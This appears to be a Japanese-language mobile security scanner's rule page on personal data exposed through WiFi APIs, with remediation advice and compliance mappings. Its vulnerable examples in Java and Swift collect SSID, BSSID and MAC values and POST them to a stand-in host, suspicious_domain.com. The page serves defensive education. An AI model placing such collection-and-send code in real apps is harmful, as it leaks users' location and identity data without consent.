コンテンツにスキップ

モバイルWiFi APIによる個人を特定できる情報(PII)に関する懸念

説明

WiFi APIによる個人を特定できる情報(PII)に関する懸念

WiFi APIにアクセスできるモバイルアプリケーションは、ネットワーク名やアクセスポイントの使用履歴などの個人を特定できる情報(PII)を取得でき、プライベートデータの推測につながる可能性があります。

WiFi関連の権限とAPIを使用するアプリケーションは、WiFiアクセスポイントに関する機密情報(識別子、名前、信号強度など)にアクセスでき、潜在的に以下を推測する可能性があります。

  • デバイスの一意の識別子
  • 周囲のWiFiアクセスポイントを使用した位置情報データ
  • WiFiアクセスポイントの反復的な使用パターンに依存するユーザーの移動履歴と社会的リンクの推測

   import android.content.Context;
   import android.net.wifi.WifiInfo;
   import android.net.wifi.WifiManager;
   import java.net.HttpURLConnection;
   import java.net.URL;
   import java.io.OutputStream;
   import java.nio.charset.StandardCharsets;

   public class WifiInfoRetriever {

       private Context context;

       public WifiInfoRetriever(Context context) {
           this.context = context;
       }

       public void retrieveWifiInfo() {
           WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);

           if (wifiManager.isWifiEnabled()) {
               WifiInfo wifiInfo = wifiManager.getConnectionInfo();

               String ssid = wifiInfo.getSSID();
               String bssid = wifiInfo.getBSSID();
               int rssi = wifiInfo.getRssi();
               String macAddress = wifiInfo.getMacAddress();

               // Construct JSON with data
               String jsonInputString = String.format("{\"ssid\":\"%s\", \"bssid\":\"%s\", \"rssi\":%d, \"macAddress\":\"%s\"}",
               ssid, bssid, rssi, macAddress);

               try {
                   // Endpoint URL
                   URL url = new URL("http://suspicious_domain.com/api/networks");
                   HttpURLConnection connection = (HttpURLConnection) url.openConnection();

                   // Connection setup
                   connection.setDoOutput(true);
                   connection.setRequestMethod("POST");
                   connection.setRequestProperty("Content-Type", "application/json");

                   try (OutputStream os = connection.getOutputStream()) {
                       byte[] input = jsonInputString.getBytes(StandardCharsets.UTF_8);
                       os.write(input, 0, input.length);
                   }
                   // Additional analysis could be performed when the data reaches the endpoint
                   // such as inferring location or movement patterns of users             
                   connection.disconnect();
               } catch (Exception e) {
                   e.printStackTrace();
               }
           } else {
               System.out.println("WiFi is not enabled");
           }
       }
   }
   import Foundation
   import SystemConfiguration.CaptiveNetwork
   import NetworkExtension

   class WifiInfoRetriever {

       func retrieveWifiInfo() {
           // Get current WiFi information
           guard let interfaces = CNCopySupportedInterfaces() as? [String] else {
               print("Unable to get network interfaces")
               return
           }

           var wifiData: [String: String] = [:]

           for interface in interfaces {
               if let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any] {
                   wifiData["ssid"] = networkInfo[kCNNetworkInfoKeySSID as String] as? String
                   wifiData["bssid"] = networkInfo[kCNNetworkInfoKeyBSSID as String] as? String
               }
           }

           // Check if data was retrieved
           if !wifiData.isEmpty {
               // Convert to JSON
               guard let jsonData = try? JSONSerialization.data(withJSONObject: wifiData, options: []) else {
                   print("Could not convert to JSON")
                   return
               }

               // Create request
               guard let url = URL(string: "http://suspicious_domain.com/api/networks") else {
                   return
               }

               var request = URLRequest(url: url)
               request.httpMethod = "POST"
               request.httpBody = jsonData
               request.addValue("application/json", forHTTPHeaderField: "Content-Type")

               // Send data to server
               let task = URLSession.shared.dataTask(with: request) { data, response, error in
                   // Handle response as needed
                   // Data could be used to infer user location and movement patterns
               }
               task.resume()
           } else {
               print("WiFi information not available")
           }
       }
   }

推奨事項

WiFi APIのプライバシーリスクの軽減

モバイルWiFi APIによる個人を特定できる情報(PII)へのアクセスに関連するプライバシーリスクを軽減するために、ユーザーと開発者の双方がいくつかの予防策を講じることができます。

ユーザー向け:

  • モバイルオペレーティングシステムとすべてのアプリを最新バージョンに更新しておくこと。
  • アプリにWiFi関連の権限を付与する際は慎重になること。
  • 公共のWiFiネットワークに接続する際はVPNを使用すること。
  • デバイスの設定でアプリの権限を定期的に見直すこと。

開発者向け:

  • 機密のWiFi情報にアクセスするためにユーザーから明示的な許可を要求すること。
  • 「最小特権」の原則を実装し、アプリが機能するために必要な最小限の権限のみを要求および使用すること。
  • WiFiデータを保存または送信する前に、ハッシュ化または匿名化すること。
  • WiFi情報がどのように使用されるかを説明する明確なプライバシーポリシーを提供すること。
  • アプリの機能にWiFi情報が本当に必要かどうかを検討すること。

開発者向けのコード例:

// Request appropriate permissions
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
    != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this,
           new String[]{Manifest.permission.ACCESS_FINE_LOCATION},
           PERMISSION_REQUEST_CODE);
}

// Use Android 10+ methods whenever possible
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
    // Use Android 10+ compliant methods
    // For example, WifiInfo.getSSID() and getBSSID() return masked values by default
} else {
    // Use methods for earlier Android versions
}

// Use privacy focused NetworkCallback API
ConnectivityManager connectivityManager = 
    (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);

NetworkRequest.Builder builder = new NetworkRequest.Builder();
builder.addTransportType(NetworkCapabilities.TRANSPORT_WIFI);

connectivityManager.registerNetworkCallback(builder.build(), new ConnectivityManager.NetworkCallback() {
    @Override
    public void onAvailable(Network network) {
        // Handle WiFi connection here without accessing PII
    }
});
// First, ensure you have proper permissions in Info.plist
// <key>NSLocationWhenInUseUsageDescription</key>
// <string>This app needs to access your location to find nearby WiFi networks</string>

import NetworkExtension

func requestWiFiPermission() {
    // Request permission before accessing WiFi information
    if #available(iOS 13.0, *) {
        NEHotspotHelper.register(options: nil, queue: .main) { (cmd) -> Void in
            // Handle commands appropriately
            print("Permission request processed")
        }
    }
}

// Use minimal WiFi information when necessary
func connectToKnownNetwork() {
    // Instead of collecting and storing SSID/BSSID pairs,
    // use the system's built-in capabilities
    if let configuration = NEHotspotConfiguration(ssid: "KnownNetwork") {
        NEHotspotConfigurationManager.shared.apply(configuration) { error in
            if let error = error {
                print("Error connecting: \(error.localizedDescription)")
            } else {
                print("Connected successfully")
            }
        }
    }
}

// If you must access WiFi information, anonymize it
func getAnonymizedWifiInfo() -> String? {
    guard let interfaces = CNCopySupportedInterfaces() as? [String],
          let interface = interfaces.first,
          let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any],
          let ssid = networkInfo[kCNNetworkInfoKeySSID as String] as? String else {
        return nil
    }

    // Hash the SSID instead of using it directly
    return ssid.data(using: .utf8)?.sha256Hash.hexString
}

// Extension for hashing
extension Data {
    var sha256Hash: Data {
        var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
        self.withUnsafeBytes {
            _ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
        }
        return Data(hash)
    }

    var hexString: String {
        return map { String(format: "%02hhx", $0) }.joined()
    }
}

リンク

基準

  • CCPA:
    • CCPA_1798_100
    • CCPA_1798_110
    • CCPA_1798_115
    • CCPA_1798_135
    • CCPA_1798_150
  • CWE_TOP_25:
    • CWE_276
  • GDPR:
    • ART_1
    • ART_2
    • ART_3
    • ART_4
    • ART_5
    • ART_6
    • ART_9
    • ART_13
    • ART_14
    • ART_21
    • ART_32
  • OWASP_ASVS_L1:
    • V8_3_3
  • OWASP_MASVS_L1:
    • MSTG_ARCH_1
    • MSTG_ARCH_4
    • MSTG_ARCH_12
    • MSTG_STORAGE_1
    • MSTG_STORAGE_4
    • MSTG_STORAGE_12
    • MSTG_CODE_5
  • OWASP_MASVS_L2:
    • MSTG_ARCH_12
    • MSTG_STORAGE_12
    • MSTG_STORAGE_4
  • HIPAA_CONTROLS:
    • SECURITY221
    • SECURITY212
    • SECURITY213
  • OWASP_MASVS_v2_1:
    • MASVS_PRIVACY_1
    • MASVS_PRIVACY_3
    • MASVS_STORAGE_2
    • MASVS_CODE_1
    • MASVS_CODE_3
  • CNIL_FOR_EDITORS:
    • EDITORS_1_1_1
    • EDITORS_1_2_3
    • EDITORS_5_1_5
  • CNIL_FOR_DEVELOPERS:
    • DEVELOPERS_2_2_4